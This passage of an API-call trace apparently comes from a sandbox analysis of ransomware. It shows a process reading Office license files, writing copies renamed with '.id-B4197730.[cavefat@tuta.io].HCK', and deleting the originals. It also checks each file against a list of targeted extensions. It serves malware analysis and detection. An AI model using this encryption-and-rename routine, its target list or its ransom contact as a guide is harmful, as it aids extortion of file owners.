Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0238.667] lstrlenW (lpString=".jpg") returned 4 [0238.667] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.668] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.668] lstrlenW (lpString="HomeBusinessR_Retail3-pl.xrm-ms") returned 31 [0238.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0238.669] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=10659) returned 1 [0238.669] CloseHandle (hObject=0x454) returned 1 [0238.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms")) returned 0x220 [0238.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0238.669] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.669] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0238.670] GetLastError () returned 0x0 [0238.670] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x29a3, lpOverlapped=0x0) returned 1 [0238.674] WriteFile (in: hFile=0x4a4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x29b0, lpOverlapped=0x0) returned 1 [0238.675] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0238.675] WriteFile (in: hFile=0x4a4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x112, lpOverlapped=0x0) returned 1 [0238.676] SetEndOfFile (hFile=0x4a4) returned 1 [0238.676] CloseHandle (hObject=0x4a4) returned 1 [0238.676] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.676] SetEndOfFile (hFile=0x454) returned 1 [0238.678] CloseHandle (hObject=0x454) returned 1 [0238.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.895] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms")) returned 1 [0238.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0238.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0238.897] lstrlenW (lpString=".doc") returned 4 [0238.897] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.897] lstrlenW (lpString=".docx") returned 5 [0238.897] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.897] lstrlenW (lpString=".pdf") returned 4 [0238.897] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.897] lstrlenW (lpString=".xls") returned 4 [0238.897] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.897] lstrlenW (lpString=".xlsx") returned 5 [0238.897] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.897] lstrlenW (lpString=".ppt") returned 4 [0238.897] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0238.897] lstrlenW (lpString=".zip") returned 4 [0238.897] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.897] lstrlenW (lpString=".rar") returned 4 [0238.897] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.897] lstrlenW (lpString=".bz2") returned 4 [0238.897] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.897] lstrlenW (lpString=".7z") returned 3 [0238.897] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0238.897] lstrlenW (lpString=".dbf") returned 4 [0238.897] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0238.897] lstrlenW (lpString=".1cd") returned 4 [0238.897] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0238.898] lstrlenW (lpString=".jpg") returned 4 [0238.898] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0238.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0238.898] lstrlenW (lpString=".doc") returned 4 [0238.898] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.898] lstrlenW (lpString=".docx") returned 5 [0238.898] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.898] lstrlenW (lpString=".pdf") returned 4 [0238.898] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.898] lstrlenW (lpString=".xls") returned 4 [0238.898] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.898] lstrlenW (lpString=".xlsx") returned 5 [0238.898] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.898] lstrlenW (lpString=".ppt") returned 4 [0238.898] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0238.898] lstrlenW (lpString=".zip") returned 4 [0238.898] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.898] lstrlenW (lpString=".rar") returned 4 [0238.898] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.898] lstrlenW (lpString=".bz2") returned 4 [0238.898] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.898] lstrlenW (lpString=".7z") returned 3 [0238.898] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0238.898] lstrlenW (lpString=".dbf") returned 4 [0238.898] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0238.898] lstrlenW (lpString=".1cd") returned 4 [0238.898] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0238.898] lstrlenW (lpString=".jpg") returned 4 [0238.898] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.899] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.899] lstrlenW (lpString="HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 34 [0238.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.899] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11625) returned 1 [0238.900] CloseHandle (hObject=0x55c) returned 1 [0238.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms")) returned 0x220 [0238.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.900] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.900] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0238.901] GetLastError () returned 0x0 [0238.901] ReadFile (in: hFile=0x55c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2d69, lpOverlapped=0x0) returned 1 [0238.903] WriteFile (in: hFile=0x544, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0238.903] ReadFile (in: hFile=0x55c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0238.903] WriteFile (in: hFile=0x544, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x118, lpOverlapped=0x0) returned 1 [0238.904] SetEndOfFile (hFile=0x544) returned 1 [0238.904] CloseHandle (hObject=0x544) returned 1 [0238.904] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.904] SetEndOfFile (hFile=0x55c) returned 1 [0238.906] CloseHandle (hObject=0x55c) returned 1 [0238.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.906] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms")) returned 1 [0238.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0238.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0238.907] lstrlenW (lpString=".doc") returned 4 [0238.907] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.907] lstrlenW (lpString=".docx") returned 5 [0238.907] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.907] lstrlenW (lpString=".pdf") returned 4 [0238.908] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.908] lstrlenW (lpString=".xls") returned 4 [0238.908] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.908] lstrlenW (lpString=".xlsx") returned 5 [0238.908] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.908] lstrlenW (lpString=".ppt") returned 4 [0238.908] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0238.908] lstrlenW (lpString=".zip") returned 4 [0238.908] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.908] lstrlenW (lpString=".rar") returned 4 [0238.908] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.908] lstrlenW (lpString=".bz2") returned 4 [0238.908] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.908] lstrlenW (lpString=".7z") returned 3 [0238.908] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0238.908] lstrlenW (lpString=".dbf") returned 4 [0238.908] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0238.908] lstrlenW (lpString=".1cd") returned 4 [0238.908] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0238.908] lstrlenW (lpString=".jpg") returned 4 [0238.908] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0238.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0238.908] lstrlenW (lpString=".doc") returned 4 [0238.908] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.908] lstrlenW (lpString=".docx") returned 5 [0238.908] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.908] lstrlenW (lpString=".pdf") returned 4 [0238.908] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.908] lstrlenW (lpString=".xls") returned 4 [0238.909] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.909] lstrlenW (lpString=".xlsx") returned 5 [0238.909] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.909] lstrlenW (lpString=".ppt") returned 4 [0238.909] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0238.909] lstrlenW (lpString=".zip") returned 4 [0238.909] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.909] lstrlenW (lpString=".rar") returned 4 [0238.909] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.909] lstrlenW (lpString=".bz2") returned 4 [0238.909] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.909] lstrlenW (lpString=".7z") returned 3 [0238.909] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0238.909] lstrlenW (lpString=".dbf") returned 4 [0238.909] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0238.909] lstrlenW (lpString=".1cd") returned 4 [0238.909] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0238.909] lstrlenW (lpString=".jpg") returned 4 [0238.909] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.909] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.909] lstrlenW (lpString="HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 41 [0238.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.910] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11215) returned 1 [0238.910] CloseHandle (hObject=0x55c) returned 1 [0238.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0238.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.911] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.911] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0238.912] GetLastError () returned 0x0 [0238.912] ReadFile (in: hFile=0x55c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2bcf, lpOverlapped=0x0) returned 1 [0238.913] WriteFile (in: hFile=0x544, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2bd0, lpOverlapped=0x0) returned 1 [0238.914] ReadFile (in: hFile=0x55c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0238.914] WriteFile (in: hFile=0x544, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x126, lpOverlapped=0x0) returned 1 [0238.914] SetEndOfFile (hFile=0x544) returned 1 [0238.914] CloseHandle (hObject=0x544) returned 1 [0238.914] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.914] SetEndOfFile (hFile=0x55c) returned 1 [0238.917] CloseHandle (hObject=0x55c) returned 1 [0238.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.917] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms")) returned 1 [0238.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0238.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0238.918] lstrlenW (lpString=".doc") returned 4 [0238.918] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.918] lstrlenW (lpString=".docx") returned 5 [0238.918] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.918] lstrlenW (lpString=".pdf") returned 4 [0238.918] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.918] lstrlenW (lpString=".xls") returned 4 [0238.919] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.919] lstrlenW (lpString=".xlsx") returned 5 [0238.919] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.919] lstrlenW (lpString=".ppt") returned 4 [0238.919] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0238.919] lstrlenW (lpString=".zip") returned 4 [0238.919] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.919] lstrlenW (lpString=".rar") returned 4 [0238.919] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.919] lstrlenW (lpString=".bz2") returned 4 [0238.920] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.920] lstrlenW (lpString=".7z") returned 3 [0238.920] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0238.920] lstrlenW (lpString=".dbf") returned 4 [0238.920] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0238.920] lstrlenW (lpString=".1cd") returned 4 [0238.920] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0238.920] lstrlenW (lpString=".jpg") returned 4 [0238.921] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0238.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0238.921] lstrlenW (lpString=".doc") returned 4 [0238.921] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.921] lstrlenW (lpString=".docx") returned 5 [0238.921] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.921] lstrlenW (lpString=".pdf") returned 4 [0238.921] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.921] lstrlenW (lpString=".xls") returned 4 [0238.921] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.921] lstrlenW (lpString=".xlsx") returned 5 [0238.921] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.921] lstrlenW (lpString=".ppt") returned 4 [0238.921] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0238.921] lstrlenW (lpString=".zip") returned 4 [0238.921] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.921] lstrlenW (lpString=".rar") returned 4 [0238.921] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned 